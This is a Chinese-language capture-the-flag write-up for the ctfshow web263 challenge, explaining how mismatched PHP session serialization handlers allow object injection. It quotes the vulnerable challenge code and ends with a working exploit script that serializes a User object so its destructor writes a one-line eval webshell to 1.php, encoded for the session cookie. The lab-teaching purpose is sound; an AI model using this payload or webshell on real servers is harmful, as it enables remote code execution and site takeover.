ctfshow web263(PHP的session反序列化漏洞)

主要代码利用点如下

//index.php
if(isset($_SESSION['limit']))
{
		$_SESSION['limti']>5?die("登陆失败次数超过限制"):$_SESSION['limit']=base64_decode($_COOKIE['limit']);
}
//inc.php
ini_set('session.serialize_handler', 'php');
class User{
    public $username;
    public $password;
    public $status;
    function __construct($username,$password){
        $this->username = $username;
        $this->password = $password;
    }
    function setStatus($s){
        $this->status=$s;
    }
    //利用点
    function __destruct(){
        file_put_contents("log-".$this->username, "使用".$this->password."登陆".($this->status?"成功":"失败")."----".date_create()->format('Y-m-d H:i:s'));
    }
}

思路:利用session的反序列化控制User类中username,password从而destruct函数实现写入一句话木马。

 

说一下我自己对session的理解,先抛开一些知识,一会下面进行细致讲解:

  为什么会有session的反序列化呢,那么肯定是先有了session的序列化。那么session的序列化在哪呢。当我们写 $_SESSION['meng'] = 'meng'; 的时候,服务器会在它的一个目录下创建一个文件,文件的内容是:a:1:{s:4:"meng";s:4:"meng";}这就看出来了,服务器在存储我们的session内容的时候,是将session进行了序列化存储在文件当中(关于序列化与反序列化的知识点移步我的另一篇文章),然后当我们需要用到session里面的内容的时候,服务器从存储序列化后session的文件中取出相关内容,然后进行反序列化。

 

基础知识讲解:

(1)先介绍一下session:

通过session_start();来开启一个sesison对话,然后在服务器会生成一个文件用来存储session的内容,生成的文件的名称是由sess和下划线和cookie中PHPSESSID的值组成的,如果没有设置cookie中PHPSESSID的值,系统随机给。

(2)再介绍一下php.ini配置文件当中有关session存储的配置:

session.save_path=""  --设置session的存储路径
session.save_handler="" --设定用户自定义存储函数,如果想使用PHP内置会话存储机制之外的可以使用本函数(数据库等方式)
session.auto_start  boolen --指定会话模块是否在请求开始时启动一个会话,默认为0不启动
session.serialize_handler  string --定义用来序列化/反序列化的处理器名字。默认使用php 

在上述的配置中,session.serialize_handler是用来设置session的序列话引擎的,除了默认的PHP引擎之外,还存在其他引擎,不同的引擎所对应的session的存储方式不相同。在PHP中默认使用的是PHP引擎,如果要修改为其他的引擎,只需要添加代码ini_set('session.serialize_handler', '需要设置的引擎');就如题目那样。用下面的代码进行实验然后去session的存储路径中查看结果:

session_start();
$_SESSION['meng'] = 'meng';

php_binary:存储方式是,键名的长度对应的ASCII字符+键名+经过serialize()函数序列化处理的值

  本地失败了,等以后补充吧。

php:存储方式是,键名+竖线+经过serialize()函数序列处理的值

meng|s:4:"meng";

php_serialize(php>5.5.4):存储方式是,经过serialize()函数序列化处理的值 

a:1:{s:4:"meng";s:4:"meng";}

 

题目讲解:

题目中inc.php 设置了session的序列化引擎为php,很有可能说明默认使用的是php_serialize。这就导致了两者不一致从而引发漏洞。

(1)下面做个本地实验,我的php环境默认session.serialize_handler=php_serialize和上面说的默认不一样,我为了和题目保持一致修改的。


    class M{
        public $a='meng';
        public function __destruct()
        {
            echo $this->a."<br>";
        }
    }
//序列化后的数值为O:1:"M":1:{s:1:"a";s:4:"meng";}

 我们构造一个序列化后的payload:|O:1:"M":1:{s:1:"a";s:4:"hihi";} (这里我们在最前面加了一个 | 并且修改了‘meng’为‘hihi’),然后写入session让其序列化。如下:

<?php
    session_start();
    class M{
        public $a='meng';
        public function __destruct()
        {
            echo $this->a."<br>";
        }
    }
    $_SESSION['test']='|O:1:"M":1:{s:1:"a";s:4:"hihi";}';
?>

然后查看文件中存储的内容如下:

a:1:{s:4:"test";s:32:"|O:1:"M":1:{s:1:"a";s:4:"hihi";}";}

 然后我们再执行如下的

<?php
    ini_set('session.serialize_handler','php');
    session_start();
    class M{
        public $a='meng';
        public function __destruct()
        {
            echo $this->a."<br>";
        }
    }
    //$_SESSION['test']='|O:1:"M":1:{s:1:"a";s:4:"hihi";}';
    $o = new M();
?>

可以发现我们修改后的payload起作用了。这是因为, PHP引擎会将|前面的作为键值,将后面的内容进行反序列化,也就是我们构造的payload |之后的内容被反序列化。

 (2)回过头来看题目已经很简单了, 

<?php
    class User{
        public $username;
        public $password;
        function __construct($username,$password){
            $this->username = $username;
            $this->password = $password;
        }
        function __destruct(){
            file_put_contents("log-".$this->username, "使用".$this->password."登陆".($this->status?"成功":"失败")."----".date_create()->format('Y-m-d H:i:s'));
        }
    }
    $a = new User('1.php','<?php eval($_POST[1]);phpinfo();?>');
    echo base64_encode('|'.serialize($a));
?>

 

posted @ 2022-11-02 17:26  hithub  阅读(322)  评论(0编辑  收藏  举报